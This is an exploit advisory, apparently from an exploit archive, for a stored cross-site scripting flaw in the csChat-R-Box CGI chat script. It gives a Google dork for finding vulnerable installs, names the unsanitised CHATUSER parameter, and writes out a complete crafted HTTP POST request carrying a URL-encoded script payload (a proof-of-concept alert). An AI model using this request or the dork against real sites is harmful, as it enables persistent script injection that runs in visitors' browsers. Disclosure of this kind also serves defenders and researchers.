csChat-R-Box Script Site Cross-Site Scripting Vulnerability

# Exploit Title: ["csChat-R-Box Script Site" Cross-Site Scripting (XSS)]
# Google Dork: [csChatRBox.cgi]
# Date: 4/10/2014
# Exploit Author: Satanic2000
# Vendor Homepage: http://www.cgiscript.net
# Software Link: http://www.cgiscript.net/cgi-script/csNews/csNews.cgi?database=cgi.db&command=viewone&id=31
# Tested on: linux
# www.Site.com/[path]/csChatRBox/csChatRBox.cgi
# [path] : /cgi-script/     or /cgi-bin/ or None
  
# Example:

  1) Cross-Site Scripting (XSS) 
 
The vulnerability exists to data in "CHATUSER" HTTP POST parameter passed to "/csChatRBox/csChatRBox.cgi" URL. A remote unauthenticated user can send a specially crafted HTTP POST request, which allows to permanently inject and execute arbitrary HTML and script code in login field. browser in context of the vulnerable website when the victim visits the "http://[host]/[path]/csChatRBox/csChatRBox.cgi
 
The exploitation example below uses the JavaScript "alert()" function to display "Satanic2000" word:
  POST /csChatRBox/csChatRBox.cgi
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 83
 
  command=ss&CHATUSER=%3Cscript%3Ealert%28%22Satanic2000%22%29%3C%2Fscript%3E&CHATCOLOR=black
  
  
  
# Special tnx S3Ri0uS . Pejvak . l3l4ck.$c0rpi0n . H-SK33PY And Other Friend

#  0day.today [2018-04-08]  #